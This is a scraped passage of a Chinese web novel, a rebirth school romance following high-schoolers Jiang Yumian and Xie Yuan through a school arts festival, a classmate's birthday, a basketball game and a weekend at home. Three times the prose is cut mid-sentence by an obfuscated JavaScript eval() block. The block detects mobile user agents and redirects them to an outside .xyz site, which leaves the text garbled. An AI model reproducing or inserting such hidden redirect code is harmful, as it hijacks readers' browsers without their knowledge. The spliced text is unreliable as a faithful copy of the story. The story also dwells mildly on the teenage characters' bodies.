d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15565438|171100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神专注带着一丝不符合年龄的神情,一瞬又隐没下去。 只见少女左眼眼角画着一只黑色的胖蝴蝶,如果要说和谢渊脸上那只哪里像,可以说完全不一样。 “怎么样怎么样,可爱吧。” “嗯,可爱。”江逾眠看着面前人笑眯眯的样子,想伸手摸一下他的脸又怕弄花他的妆。 手抬到一半刚要放下,不想被抓住了手,男孩将下巴轻轻放在江逾眠手心,半抬眼眨巴着,想要说话。 “行行行。”别说了,直接上手吧。 看着少年蹦跳着扭头去楼上,不一会儿拿着口红下来。 江逾眠无奈,满脸果然如此的样子。 他每次给你点甜头,撒娇的时候,一定在想着什么坏点子,要不然就是做错了什么事,但没办法,这招屡试不爽。 谁能拒绝一个明媚阳光的大美人朝你撒娇呢,反正江逾眠不能。 好在他还不算过分,口红是偏日常的颜色,比江逾眠的唇色稍红,不算太明显。 好在她长得还过得去,顶着一只胖蝴蝶也没有削弱她的颜值。 “在这个鲜花盛开的季节里,万象更新、万物复苏;在这个美好的日子里……第三中学第十六届校园文化艺术节——正式开始!” “让我们掌声欢迎由高一九班歌舞团带来的开场表演!” 音乐声声响起,观众席的观众们随着音乐的节奏摇晃,时不时因台上的舞蹈表演发出欢呼,气氛十足。 由于场地和人数原因,大部分人是带着自己的椅垫坐到人工草坪上的,组成了稀稀落落的方队,后到的人则看好空隙挤进来,整个方队像波浪一样一个接一个的调整位置。 江逾眠没有去那边坐,她到摊位那边闲逛了几圈,最后选了一杯淡粉色果汁饮品逛去了后台,淡淡西柚味,去冰。杯壁上的水珠缓缓滑下,落到江逾眠的指尖。 作为刚退下来的学生会主席,后台工作人员都对江逾眠眼熟,朝她点点头没有管她。 “喝点?”把手里的饮料朝谢渊递了递。 谢渊也没有坐,他怕礼服会皱一会上台就不好看了。 谢渊看着手卡,就着江逾眠的手吸了两口,皱了皱眉,“没搅匀,下面好甜。” 江逾眠又搅了几下递回去,“这样呢?” “嗯!好喝。” 15. 第十五章 “眠姐,江湖救急!”有个学生会的成员急急忙忙跑到江逾眠这边。 有一个主持人突然腹痛难忍,怀疑是急性阑尾炎,现在已经送去医院了,这一时半会找不到能顶上的人。 她四处搜寻,看到谢渊身边的江逾眠,眼睛一亮。江逾眠是今年刚刚退的学生会,和她们都很熟,也有主持经验,和刚刚去医院的那个女生身材也相似,正好她留下了一件备用礼服。 这简直是瞌睡来临送枕头啊。 “眠姐,救救!”那个学生会成员双手合十作祈求状,“不用太长时间,就两段,游戏环节和闭幕。” 其余的部分可以由另一位女主持顶上,中场报幕都是两两上台,但是游戏时间和闭幕是四个主持同时,要是缺一个人,其一是不对称了不太好看;其二是容易落词,毕竟之前排练的时候都是看的自己的词,这要是哪一句接晚了中间留一段空白多尴尬啊。 “行是行,但是我没礼服啊,我穿着休闲衫上前更难看吧。” 江逾眠看了看那个学生会成员又看了眼自己身上的条纹短袖,爱莫能助啊。 “这小问题,我们这有一件备用礼服,你看看能不能穿。”她小跑几步去取了衣服又回来。 紫色丝绸吊带鱼尾裙,胸口处是荡领,在膝盖处收束又加宽,看长度应该正好可以盖全鞋子,连鞋都不用换。 关于救场这个事,学生时期江逾眠干得太多了她也不排斥,拿着裙子去后台换衣间了。 其实说是换衣间,就是拿黑布围起来的一个方形区域,不大,转身都费劲,好在黑布遮光性强,私密性过关。 “年年,帮我一下。”江逾眠拉着黑布单独露出个脑袋。 “拉拉链吗?”谢渊拉开个小缝闪进来。 其实周边有好几个学生会的女生可以帮忙,但谢渊没多想,毕竟她俩关系最好嘛。 为了和礼服搭配,江逾眠把头发散了下来,此时她一手捂住胸口,一手拨开如瀑的黑发微微倾身。 拉链发出“滋啦啦”的声响,像是什么年久失修的零件。 “好了,这里是不是有点空?”谢渊把拉链拉好,接着从上方洒下来的光看了看,指尖点点江逾眠锁骨下方的皮肤。 那里是一大片白皙的肌肤,下方紫色丝绸紧紧贴着身体,将江逾眠的曲线显现得格外性感,离得近了还能隐约看到些腹肌的痕迹在绸质布料上留下淡淡的凹痕。 指尖离开,那里微微泛红,谢渊看着那点红痕,耳尖也后知后觉的红了。 “我去给你找个项链。”谢渊扭身跑了。 江逾眠摸了下耳尖笑了。 “哎呀我去,眠姐你穿这个太合身了!”学生会的女生竖起大拇指,上去拍了一把腰,“这腰,我滴老天奶啊。” “不行了,我今天不洗手了。” “啧,正经点行不行。”江逾眠深呼吸,这种贴身礼服穿着真不习惯啊。 “太美了,眠姐,大美人!” “你戴上看看。”谢渊拿过来一条珍珠项链,在江逾眠脖颈旁边比划。 “帮我戴。”江逾眠半弯下腿,这衣服好看是好看,也太不方便活动了,拉上拉链之后全身就像被胶带糊住了弯个腰都费劲。 谢渊抬手整理项链长度,认真扣好卡扣,余光却看到圆润的弧度,热度哄一下传上来,充血的大脑骤然有点眩晕,“好……好了。” 江逾眠眼神专注的看着谢渊,看他浓密的睫毛因为主人的情绪波动而颤动,看他通红的耳尖和被粉色浸染的脸颊,看被丝绸装饰物裹住的脖颈肌肤渐渐爬上红晕。 呼吸好像都变快了,香水的甜香气越发甜了。 “诶,我才发现,你们两个的礼服好搭啊。” 一深一浅两个紫色,和谢渊腰间绸带材料相似的紫色丝绸长裙,再看那两张各有千秋的脸,太搭了,她都想鼓掌了。 “还有十分钟哈,眠姐你走几步看看。” “行,鞋露不出来。” “就这个了。” 别的也是真没有,哭了,整个学生会甚至找不出别的任何一件礼服。 “等我给你借个口红啊,粉底什么都没有,将就一下吧。”学生会成员苦着个脸,谁也没想到今天出了这么个事,她们这可以说啥都没有。 “不用不用,我这有。”谢渊紧急叫停学生会成员的原地打转,一下子那人脸都亮了。 “太好了!” “早知道,今天给你画的蝴蝶留下好了。”来学校之前,谢渊还是拗不过江逾眠给她擦掉了他画的蝴蝶,他觉得挺好看啊。 “……”幸亏没留,要不然她绝对会成为下周校园论坛常客。 “我只带了粉底,我给你涂点。” “别动嗷,口红涂出去不好弄。” “还有不到十分钟上场,手卡,眠姐你看几遍熟悉一下啊,就这个Z,这个是你的词。”学生会成员忙忙碌碌,手里被塞了好几个道具。路过江逾眠身边的时候不忘提醒,脚下脚步不停。 “行,你去忙吧,走台我跟着谢渊。”江逾眠看了看整个游戏流程,偏团队合作还挺好玩的。 “眠姐,我们对一下词吧。”谢渊刚从台上下来,一屁/股坐在江逾眠身边的小凳子上,上半身往她身上靠,背靠在她腿上。 “累了?”江逾眠靠得近些,让他可以靠得舒服点。 “还行,就是有点腰疼。”可能是穿高跟鞋不适应,脚也疼。 他一米七二,另一个男主持一米七,另外两个女主持都一米八左右为了平衡身高他们两个男神都穿了高跟鞋,他这双是才买的,底有点硬不舒服。 现在换了江逾眠上台,她比原本和他搭档的那个女生还高几公分呢,这高跟鞋是脱不下去了。 “你为什么长这么高?”谢渊背手锤了江逾眠一下。 “嗯,可能还会再长一点。”江逾眠用手捏捏揉揉谢渊后颈,将发硬的肌肉揉开,缓解他颈部不适。 她母父身高都不算矮,加上这一辈小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574609|171100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩营养都好,她运动神经也不错,所以长得还算高。 记得她高中时候还稍微长了些,到了大学就不长了,最终身高定格在185。 不过长得高也不算太好,上辈子谈生意的时候和那些甲方总要弯些腰才能平视,直到后来她有些名气之后才挺直腰板不用再看别人的眼色。 “上场了,走走走。”谢渊看到学生会成员示意,从凳子上起来,拉着江逾眠走回台前。 “今天真得谢谢眠姐救场,要不我们都不知道怎么办了。” “等会儿我们学生会聚餐,学校出钱,眠姐,一起来呗?” “不了,要去送礼服。” “啊对,真麻烦你了眠姐。郑何她阑尾炎,还得麻烦你帮忙送礼服,她让我跟你说声谢谢,哪天请你吃东西。” “没事,让她照顾好自己吧,确定是这个地址吧。” “确定确定。” “那我就先走了。” “好嘞眠姐。” “怎么她们都那么热情啊?”谢渊有些疑惑,学生会这帮人看到他都不怎么说话的。 “之前都认识,还有我不是帮忙了,要不她们今天可不好找人。”江逾眠把谢渊手里的袋子接到手里。 他已经把礼服换下来了,但是还没卸妆,这么漂亮的妆不要浪费,他打算再拍几张照片。 “车来了,走吧。”江逾眠看了看,她提前打的车已经快到校门口了。 说来也巧,江逾眠今天穿的礼服和谢渊那件礼服来自同一家店,不出意外的话应该就是配套的男女款,谢渊那天借走了男款,那个女生不知道在哪天借走了女款。 不知道是什么原因她今天主持并没有穿这套,反而把它放在后台当作了备用礼服,大概是想中场换吧。可惜最后没穿上,让江逾眠穿上了,不过这件穿着也是真难受。 江逾眠脱下礼服换回自己衣服的时候简直像是重回人间了,呼吸变得顺畅行动也自如了。 “今天我们两个穿礼服的时候忘记拍照了。”谢渊有些懊恼,他就说嘛,感觉忘了点什么事。 “没事,你问问崔锦,他肯定拍了。” 她逛校园论坛的时候偶然间发现崔锦是她和谢渊的CP粉头子,产出了超多照片,其中最著名的是那张酒店餐厅的照片,已经成为论坛#逾渊区招牌了,只要进入#逾渊就能看见那张照片,现在那张照片被称为镇站之宝。 而她是怎么发现的呢,她真不是故意的,崔锦不是正好坐她前排吗,她每天接水都会路过,有一天课间路过的时候,她不小心看到了崔锦的手机界面,正好停在论坛。 真没想到,现在的小男生磕CP磕得多才多艺,又会拍照又会剪辑的。 “好的,没问题,押金会原路退回的。”前台小哥检查好礼服,没有明显的污渍和破损之后就爽快地把押金退回了,“欢迎下次光临。” [逾:你看看押金退回没有。] [瓜田里种瓜:已收到!敬礼.jpg] 16. 第十六章 “同桌,生日快乐!”刘天琪等到崔锦一来就把一直在手里把玩的礼盒送给了他。 “哇,谢谢你,这条项链我很喜欢,但是我一直没舍得买,你怎么知道我喜欢这个。”崔锦接过盒子,小声感谢。 “我听谢渊说的。嘿嘿,你喜欢就好。”刘天琪摸了摸通红的脸,憨憨地笑,不知道的还以为怎么了呢。 “下次你生日我一定给你送个更好的回礼!” “不用不用,这是我想送你的,不用回礼。” “那肯定不行啊,你就等着吧。” “哎呀哎呀,不用。” 两人推推搡搡,手指不小心碰到了一起,瞬间刘天琪原本就红的脸烧成一片,骤然缩回手,像是被触碰了的含羞草,嘴唇紧紧闭着,不再说话了。 头转向窗外,通红的耳朵露着,昭示着主人内心的动荡。 而崔锦则是一脸莫名其妙,看着自己的手嘟嘟囔囔,“也没长刺啊?” 江逾眠坐在两人身后目睹了全程,默默的默默的降低存在感。 没想到刘天琪平常那样,还挺纯情的。 等刘天琪终于平复了心情转回头,崔锦已经拿出书来看了。 她启唇想说点什么,闭上了;再张嘴,又闭上了。 江逾眠在后面看得一清二楚,甚至有些纳闷。 她记得上辈子刘天琪和崔锦是在一起了的,但是不是在校园时期在一块的。大概是大学毕业两三年后吧两人在同一个城市相遇开启了一段甜蜜的恋爱,不久后步入婚姻殿堂,她还去参加了两人的婚礼呢!不过那时候谢渊由于行程撞了没有去成。再后来听说两人三年抱俩,她因为事业上升期没有再去,只给两个孩子包了大红包聊表心意,再后来…… 江逾眠及时摇了摇头,打断自己即将跑偏的回忆。 现在看来,刘天琪倒是很明显的喜欢人家,但人家似乎还停留在把她当好朋友好同桌的阶段呢。 还挺有趣,要不是时机不允许,她都想开袋瓜子磕一会儿。难怪那么多人喜欢磕CP,这和华国人喜欢看热闹有什么区别? 各个课间,江逾眠陆续看到不同人给崔锦送生日礼物,礼物和零食已经塞满了他的书桌,后来实在塞不下了他把零食分了一些给刘天琪谢渊和她。 她也没想到,原来自己也有份,上辈子她可是没有这待遇的,不过上辈子她也没给人家送过东西就是了。她给崔锦送的礼物是一个拍立得外加五十张相片,是她和谢渊一起送的,由她代送,送的时候还收到了崔锦一个意味深长的眼神,差点把她的脸都给看红了。 更好笑的事来了,中午的时候隔壁班有个女生给崔锦送的礼物里夹了情书,没几分钟就被他连礼物带信送回去了。 理由是,“我希望高中时期能够好好学习,不想把有限的精力放在无关学习的地方。”说得义正词严,关键他送返礼物的时候还被刘天琪撞见了。 崔锦给了刘天琪一个温和的笑容,转过头又变得极为严肃,女生知道自己没戏,就一声不发地把礼物收回去了,他也满意了,拍拍手和刘天琪一起回来了。 而刘天琪看到这一幕之后,很明显的收起了一些心思,想说话又憋回去的样子看着特憋屈,江逾眠差一点就忍不住笑了,好在及时咳嗽一声恢复了面无表情的样子。 结果刘天琪还是看到了,给她了一个颇为幽怨的眼神。 “下午陪我去打球。” “……” 刘天琪又用那种死亡射线般的眼神看她。 “行。”迫于淫威,江逾眠答应了,但是她已经好多年没打过球了,也不知道这胳膊腿还灵活不。 重生回来后这些天,她最激烈的运动就是前天早上起晚了,赶公交差点没赶上,跑了二百多米。 哎,想念年年,要是今天他在的话还可以找个借口,可惜他昨天去参加小训练了,要周六才能回来。 看着黑板上密密麻麻的公式字母,江逾眠在指尖转了几圈笔,落笔写下答案。 经过这些日子的努力,她高二部分的知识已经捡的差不多了,接下来再用一个月左右的时间就可以基本恢复到她上辈子高中时的水平了,人果然像海绵,时间和精力挤一挤总会有的。 最近老爸的工作状态也很稳定,情绪也是,自从和于叔叔再‘重修旧好’之后,两人时不时约着出去玩玩,或者一起喝个下午茶什么的,聊聊天做做运动,有时候周末他们两人一起逛街玩得不亦乐乎。于叔叔就会忘记公司的一些事务,谢母只好自己留在公司加班加点,不过她早就习惯了,晚上回家看着于叔叔高兴的样子,听着他絮絮叨叨地讲白天都干了什么事,一天的疲惫也消失不少。 心情愉悦自然精神状态极好,老爸身体上的有些小毛病都逐渐消失了,不再像上辈子似的郁郁寡欢,工作状态也更积极向上了。 听他说,这次升职加薪说不定有他的份呢。 听着老爸的话,看着他脸上填满眼角的笑,她也跟着高兴。 而且令江逾眠感到愉悦的是,最近股市收入稳定,除了打给沐风和张强的研发资金以外还能有一些存余,可以马不停蹄地投入新的钱生钱流程。 哦,沐风和张强就是那两个研究生,她们的研发进程也很喜人,目前已经做出了一个迷你版给她寄过来了,虽然没什么用,但看着很可爱。毕竟放大的产品需要考虑的成本,材料,承重、应力等方面与迷你版相差甚远。 她想有好几个想法都需要大量的资金。首先,沐风和张强两人开的公司她肯定是打算入股的,但是大头还是她们两人;第二,她看上了一个游戏公司,打算投一笔,从上辈子游戏产业大爆发就能看出来游戏厂商的潜力,但是未来如何谁也说不好;再然后,她打算大学期间联合一些同学开个属于自己的公司,这也需要一大笔投入;最后也是相当重要的是,如果谢渊以后要进入娱乐圈,最好是需要一个相对好些的经纪公司,肯定不能像上辈子一样被公司套牢,那么她就要考虑是否要开一个工作室还是提前联系知名经纪公司。 然而这些想法中不管是哪一个都没办法在短期内完成,需要大量金钱和时间,现在江逾眠也就能想想。 摆在她眼前重中之重的是一年后的高考,不管怎样,她都要先过这一道坎才能去想更多的以后。 不想了,江逾眠低下头继续把自己投入到无尽的学海中去了。 下午第三节课是体育课,老师带着全班同学热身结束后就宣布了解散自由活动。 “走哇,打球去!”刘天琪一只手夹着球朝江逾眠招手,她穿着宽大的白色运动服,额头上还箍了个发带。 江逾眠朝着刘天琪走过去,没办法,谁让她之前笑了呢。 两人身高腿长,背脊挺直,将三中特有的统一白色运动装穿得格外扳正,往那一站就是一个字——帅。 “咱们这宽宽大大的运动服都有人能穿得这么顺眼啊。”坐在树下阴凉处的男生支着下巴看那边篮球场上一群个高腿长的女生。 “果然,时尚完成度靠脸,嗯,也靠身材。”另一个男生点点头,看着一群人里格外惹眼的两个人。 那两人站在人群里把别人衬得跟背景板似的。 但是吧,江逾眠的打球技术也是真的令人不敢恭维。 不过,脸在江山在,光看着美女心情就好。 但是当江逾眠投了第三个三不沾以后,那两个男生已经离开了树荫处。 中场休息时。 “不是,姐们,你这技术退步得厉害啊。”刘天琪喝了大半瓶水,上半场基本上是靠着她满场飞才勉强进了几个球。 这也让她体力下降飞快,额头的汗已经浸湿了发带。 “我已经好久没打球了。”江逾眠嘴里发苦,嗓子眼已经产生了一丝血腥味,她靠着身体素质跑到现在已经尽力了。 “哪有,开学那阵你不还挺能打呢吗?”刘天琪有些疑惑,用毛巾抹了一把脑袋上的汗。 “你也知道是刚开学啊,那时三月份,现在都六月了,你没看我这几个月恨不得都粘椅子上学习吗?”江逾眠翻了个白眼,她心里也有点虚。 说不定她现在的身体素质都不如谢渊,真是令闻者伤心、听者落泪啊。 “也是啊。”刘天琪点了点头,接着又说,“那你也不~行~啊。” “啊对对对。”江逾眠也这么觉得。 但是,她确实得加强锻炼了,现在学习方面也算是稳定了,要是再不锻炼,她这身体素质早晚要完。 而且她还想维持自己的腹肌呢,这好几个月没运动,腹肌的分界线都没以前明显了,谢渊可是非常喜欢她这肌肉的。那天她穿礼服的时候,他可盯着她腹部的肌肉看了好几眼呢,他还以为她不知道呢。 “唉,眠姐,我问你个事儿呗。”没等江逾眠继续想人,刘天琪鬼鬼祟祟靠她更近了些,两人的手臂都紧紧贴到了一起。 “有事说事,别离这么近,距离产生美懂不懂。”江逾眠往旁边挪了挪,才算离热源远了些。 “你跟我说说你是咋追的男孩的呗?”刘天琪很懊恼,今天听到崔锦的话觉得更没戏了,她想听听‘成功人士’的说法再看看。 “啊?”江逾眠疑惑,她问她,可问错人了。她也没经验啊,虽然说她确实喜欢谢渊吧,但是她的行为算追人吗? 江逾眠想了想自己平时的行为,帮谢渊泡好喝的水,陪人学习,陪他逛街,这些事朋友也可以陪着做啊。 emmm……,捉着人的手帮人暖手,半夜假装梦游被人哄睡,抱着人睡午觉,这些好像也不算追人吧,说实话有些冒昧了,不,是太冒昧了。 但是谢渊可从没推开过她,嘿嘿。 两人的关系可以说十分明了,就差最后一层窗户纸了。是不是应该找个时间和人表白呢?可是现在正是学习的关键时期,如果说开会不会影响谢渊的状态呢?还是等一段时间吧,等到高考后,她一定第一时间表白。 “不是,你笑得怎么这么猥琐啊?”刘天琪咦惹一声,满脸嫌弃。 “嘶,怎么说话呢?你还问不问了?” “问问问!眠姐,你说说呗,你咋追 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582065|171100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到的那谁啊。”刘天琪挤眉弄眼。 “要说实话吗?”江逾眠故作高深。 “当然啊!” “我没追到。” “嘶!那你在这这个那个的?”刘天琪给了她一拳。 江逾眠捂着被打到的肩膀龇牙咧嘴,这丫头怎么这么大劲儿啊。 “那不是你问的吗?”江逾眠委屈。 “那我还以为你追到了呢。” “那咋啦!” 刘天琪看着江逾眠这嘚瑟样就来气,谢渊怎么会看上江逾眠这个表里不如一的人啊!烦死了。 像她这么青春阳光,漂亮还身材好的大美人,崔锦怎么无动于衷呢? 难道是她不够不要脸? 不能啊。 难道是天天看,看够了? “你能别胡思乱想了吗?”江逾眠白眼都翻到天上去了。是,她是能看出来刘天琪喜欢人家崔锦。 但是崔锦现在明显还没开窍啊,人家除了学习就是磕CP,哪还有时间谈恋爱啊。 先不说这个,就刘天琪也没实施行动啊。追人不得拿出追人的样子来啊,平时拽的跟个二五八万似的,结果到崔锦面前一要说点什么别的就闭麦了。 平时说的除了数学题就是物理题,这哪能开出爱情小火花啊。 “你行动啊,你追人不得行动吗?没见过猪跑还没吃过猪肉吗?”江逾眠忍不住开口打断刘天琪的思考。 让她自己思考什么时候能想明白啊。 “而且人家不是说了要学习吗?早恋不可取啊。”话又说回来,她们现在年纪还太小,很容易因为生活的变化影响学习成绩。 高考只有一次,要是因为恋爱影响了,那确实是有点得不偿失了。 虽说条条大路通罗马,但是学习已经是其中门槛最低的一项了。 虽说学习好也不一定能到罗马,但是学习不好肯定要付出更多的东西或者需要很好的家庭背景。 “那咋办。”刘天琪想想也是,崔锦太爱学习了。 “你好好学习呗,顶峰相见,和崔锦上一个大学,实在不行上一个城市的大学也行啊。”江逾眠轻声引导。 崔锦虽然是文委,但是他成绩很好,不出意外的话可以上一个很好的学校;而刘天琪虽说成绩也不差,可以达到班级中上在学年排名也不错,但和崔锦差着一个等级。 上辈子为什么她们两个那么晚才修成正果,很难说有没有两人大学一北一南相距实在太远的原因。 “对!我努力!”刘天琪突然站起身,手臂打到了江逾眠的水瓶底部,大半瓶水哗啦一声全洒她身上了,纯棉的布料紧紧贴在身上,露出白皙的肉色。 “……” 出了这个插曲,江逾眠终于找到了逃离下半场篮球的借口,回班级换衣服了。 至于刘天琪说的好好学习天天向上这件事,只能看之后她的表现了。 晚上, [群:啊对对对(13)] [锦绣:这周末一起出去吃饭啊,我请客,当庆祝我生日了,吃完还可以去唱K!眨眼.jpg] [天下第一:周末不行,我要补课。哭.jpg] [锦绣:那祝你天天向上!@天下第一] [天下第一:泥奏凯。] [深渊一只喵(年年):去哪呀?] [锦绣:呀,大忙人怎么有时间。] [深渊一只喵(年年):今天的训练结束了,我正往宿舍走呢。] [锦绣:啊,这样,周六咱们去湖底捞吃火锅呗,晚上五点半,能去的扣1] [刘家铁琪:1] [深渊一只喵(年年):111] …… [逾:1] 江逾眠洗完澡半靠在床头,在群里回复了个1. [年年:诶嘿,听说你今天打球了哦。] [逾:是的呢,被球打:(] [年年:图片.jpg,超漂亮的!被球打也漂亮!] [逾:你们今天的伙食怎么样啊?] [年年:难吃:(,想念食堂的饭菜了。] [逾:这么难吃啊?] [年年:真的,我跟你说,这边食堂竟然用圣女果炒西葫芦,而且没怎么放盐,我的天啊。到底是谁想出的这么阴险的菜啊!虽然我们大部分都需要维持体形吧,也不至于这样啊。超难吃午餐.jpg] [逾:怨气都要冲出屏幕了宝宝。] [年年:你叫谁宝宝呢?] [逾:撤回] [逾:怨气都要冲出屏幕了。] [年年:我——看——到——了!] [逾:嘘。] [年年:……] 江逾眠看着屏幕眉眼弯弯,如果谢渊看到她的表情估计又要生气了。 而屏幕对面的谢渊则满脸通红,一只手揉捏着耳垂。 这个人肯定在报之前她梦游叫她宝宝的仇,真是的,怎么会有这么记仇的人啊!明天不给她发跳舞的照片了,哼! 17. 第十七章 周六上午六点半,江逾眠陪着于敏去机场接谢渊。 至于为什么,当然是谢长青又去加班了,刘青又出差了,江逾眠又被寄养在谢家了。 于是,江逾眠坐上了车,手里抱着一捧淡蓝色的玫瑰花。而且她和谢渊说好了会去接机,就算于叔叔不想带她,她也会厚着脸皮跟上的。 “爸爸!”拿到行李的谢渊看到两人像是归巢的乳燕一般扑到了于敏的怀里,开始叽叽喳喳诉说这几天的苦。 江逾眠则一手拉着谢渊的行李箱一手抱着花安静地跟在两人身后,目光由上至下细细描摹男孩的身影,等谢渊终于吐槽完回头去看她,才把手里的花递给他。 “辛苦了。”江逾眠笑着说。 “好漂亮!” “漂亮吧,昨天眠眠在某团上挑了好久,在家里醒了一晚,今开得正好。”于敏拨拉了一下开得最盛的那朵,揪下来一片花瓣。 渐变色的蓝从花心至边缘逐渐加深至墨蓝色,花瓣微微蜷曲。上面还带着今早喷上去的香水香气,淡淡的蔓延开来。 “我就知道眠姐最好啦。”谢渊慢下脚步,用毛绒绒的脑袋蹭了蹭江逾眠的颈项,像一只撒娇的猫猫。 “我就不好了吗?”于敏故作生气。 “爸爸是世界上最好的爸爸!”谢渊小嘴一张将于敏哄得眉开眼笑。 江逾眠也忍不住笑了起来。 回到家里,原本精神的谢渊也像是用光了电量,眼睛半眯着有些困倦。 他昨天练舞到凌晨没怎么睡就去了机场,再加上这几天体力消耗过大,实在是困得不行。 于敏看着有些心疼,摸了摸儿子的脸,催促他上楼睡觉。 “爸爸,今天中午别忘了叫我吃饭。”谢渊闭着眼睛在于敏身上蹭来蹭去。 “让眠眠叫你,我一会就得去公司了。” “啊?好吧。”谢渊又和于敏撒了会娇,然后晃晃悠悠往楼上走。 “眠眠,麻烦你了啊,我就走了,你们今晚同学聚餐是吧?” “嗯,是的于叔叔。” “行,早点回啊。” “知道了于叔叔。” “那我就先走了。” 江逾眠回头准备去扶晃晃悠悠的那只,怕他在楼梯上踩空。 结果看人扶着扶手靠坐在了楼梯口,一步都没上。 江逾眠有些哭笑不得,怕是他自己也怕摔,就等着她呢。 她上前把人扶起来,男孩像是没骨头的软体动物,软软的靠在她身上,声音小小的带着鼻音,哼哼着,闭着眼睛耍赖,“眠姐,我不想动。” “你一会儿还得洗澡呢,那时候怎么办?”江逾眠坏心眼起来了,忍不住逗他。 谢渊脸红了些,把脸埋到江逾眠颈边,“一会儿我自己洗嘛,你给我送到门口就行。” 江逾眠晃了晃人,男孩一步不动。 她向来是拿人没办法的,只能如了他的愿,把人横抱起来。 脚步稳定的向楼上走,隐隐听到男孩得逞的嬉笑声。 江逾眠颠了一下人,谢渊紧紧搂住了她的脖子发出一声惊呼,见没事才拍了她后背一下,很响,他有些后悔,又揉了揉。 “瘦了点。”本来人就瘦,现在更是瘦得骨头都硌手,她不由得有些心疼。 “没办法嘛,太难吃了,实在吃不下去。”谢渊把头靠在江逾眠的肩膀上。 温热的呼吸喷洒在耳边、脖颈,将那里的皮肤熏得一片粉红。 谢渊稀奇地戳了戳,耳垂的颜色更红了。 “求你了祖宗,别乱动了。”她俩还差几节楼梯,她的体质最近可不算好,要是一晃两人一起滚下去就不好了。 谢渊的大脑已经被困意搅得晕晕乎乎,听到江逾眠的话才后知后觉地开始害羞,便把头埋得更深了。 “……”臭小子真会找地方。 过了一会儿,江逾眠终于把人送到了他自己房间的浴室门口,“眠姐,你能跟我说说话吗,我怕我一会在浴室里睡着。”谢渊一句话慢吞吞的说,中间还打了好几个哈欠,看起来像是能原地睡过去的样子。 这澡是非洗不可吗? “啊!好凉!”谢渊把花洒打开,水打湿了他还没脱下的衣物,这会是有点精神了。 “眠姐!,你从我柜子里帮我拿套睡衣呗。”谢渊高喊,“还有那个。”后面那句话却像是被吞了掉大半。 江逾眠在门外没有听清,只能透过磨砂玻璃隐约看到细瘦的人影。 谢渊的脸红成一片,看着自己脱下来的贴身衣物,还是不打算继续穿,刚要再说一遍,就听到了江逾眠的声音。 “我把衣服放在门口架子上了,全套。”最后两个字加重了声音。 “嗯。”谢渊声若蚊呐,用手怕了拍红透的脸颊。 调好温度,开始洗澡,浴室被氤氲的热气填满,空气中全是发白的水雾。 江逾眠怕人睡着就坐在门口背靠着浴室门,每隔一段时间就小声敲敲,里面的人就答应一声。 半个小时后,终于门开了一条缝,温热的水汽顺着门缝溜出来些,一只白皙纤瘦的手伸出来够架子上的衣物。 江逾眠半仰着头看到被热气熏红的指尖和未擦干的水珠,手托了一下衣服防止掉到地上。 那只白皙柔软的手嗖的一下收回去把门关严了,没一会儿又伸出来拿下一件。 像在猎食者门口来回试探的小动物,拿到一点点食物就迅速缩回巢穴,下一次又大着胆子探出头。 洗完澡之后,谢渊精神多了,光着脚穿着睡衣走出来,穿上门口摆好的毛绒拖鞋,江逾眠已经走了,他悄悄松了一口气。 不知道为什么,他心肝颤动,一种夹杂着恐惧的激动令他有些无助。 想不通,他便把这奇怪的情绪抛到脑后,扑到他柔软舒适的大床上,来回滚两圈找到最舒服的姿势,盖上自己的小被子。 阳光照耀着,在他的眼皮上来回跳动,谢渊叹了口气,起床去拉窗帘。 以前眠姐都会帮忙的,今天是忘了吗? “起床了哦,中午了。”江逾眠拍拍谢渊团成一团的被子,顺着发丝的走向抚了抚谢渊柔韧蓬松的发。 “不要嘛,好困,再睡一会儿吧。”谢渊抱住在他头顶作乱的手,脸颊在那只手上蹭了蹭,将手臂抱进怀里压住。 先是柔软的脸颊肉,然后是温热的肌肤和暄软的被子紧紧裹住自己的手臂,只要一动就会蹭到男孩滑如绸缎的肌肤。 江逾眠沉默了,少见的不知所措了。 她顺势坐到床边用另一只手蹂/躏谢渊的脸颊,柔软温热的触感令人想到光滑的面团在手里被揉到温热,吃到嘴里大概会很筋道。 “睁眼看看我是谁?”江逾眠在男孩怀里的手没有动。 谢渊睡觉不老实,睡衣上面的三颗纽扣早就被蹭开了,江逾眠怕她一动会蹭到什么不该碰到的地方。 “嗯?”谢渊迷迷糊糊睁开眼,在黑暗的环境中,瞳孔似乎扩大了一圈,显得眼睛更圆了。 瞌睡一瞬间就飞走了,谢渊不敢乱动,只小心的松开双臂,腰部发力向后蠕动脱离了危险区域。 在谢渊动作的时候江逾眠一直没动,直到热乎身躯完全脱离她的手臂才僵硬地缩回手,背到了身后。 “我煮了小馄饨,是你爱吃的三鲜馅,一会收拾好下来吃哦。” 小馄饨是于叔前几天包好的,冻在冷冻层,想吃的时候拿出来煮熟再调个汤料就能吃了,很方便。 